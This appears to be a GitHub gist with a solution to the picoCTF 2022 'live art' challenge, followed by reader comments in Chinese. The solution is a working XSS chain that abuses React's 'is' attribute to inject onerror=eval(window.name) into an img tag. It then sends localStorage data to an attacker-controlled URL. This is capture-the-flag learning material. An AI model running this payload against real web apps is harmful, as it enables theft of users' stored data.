Created
March 30, 2022 00:18
-
-
Save maple3142/dacb955a3b8e3660746dbabde4271258 to your computer and use it in GitHub Desktop.
picoCTF 2022 live art
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe srcdoc="none" id="frm"></iframe> | |
<script> | |
frm.contentWindow.name = ` | |
(new Image()).src = '${location.href}?report=1&flag='+localStorage.username | |
`.slice(1, -1) | |
frm.onload = () => { | |
console.log('loaded 1') | |
frm.onload = () => { | |
frm.onload = null | |
console.log('loaded 2') | |
setTimeout(() => { | |
frm.width = 800 | |
frm.height = 400 | |
}, 500) | |
} | |
frm.contentWindow.location = 'http://localhost:4000/drawing/peko#is=asd&onerror=eval(window.name)&src=peko' | |
} | |
</script> |
很好奇,这跟 Custom Elements API 又有什么关系?感觉整个利用链完全都是 React 啊……
你可以在 jsx 試看看不加 is
,例如:
<img src="abc" onerror="alert(1)">
會直接吃 React 的 warning,然後也不會出現 onerror
如果有 is
的話它就不會對 properties 做其他檢查,直接通過
有
is
的話它就不會對 properties 做其他檢查
有意思
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
很好奇,这跟 Custom Elements API 又有什么关系?感觉整个利用链完全都是 React 啊……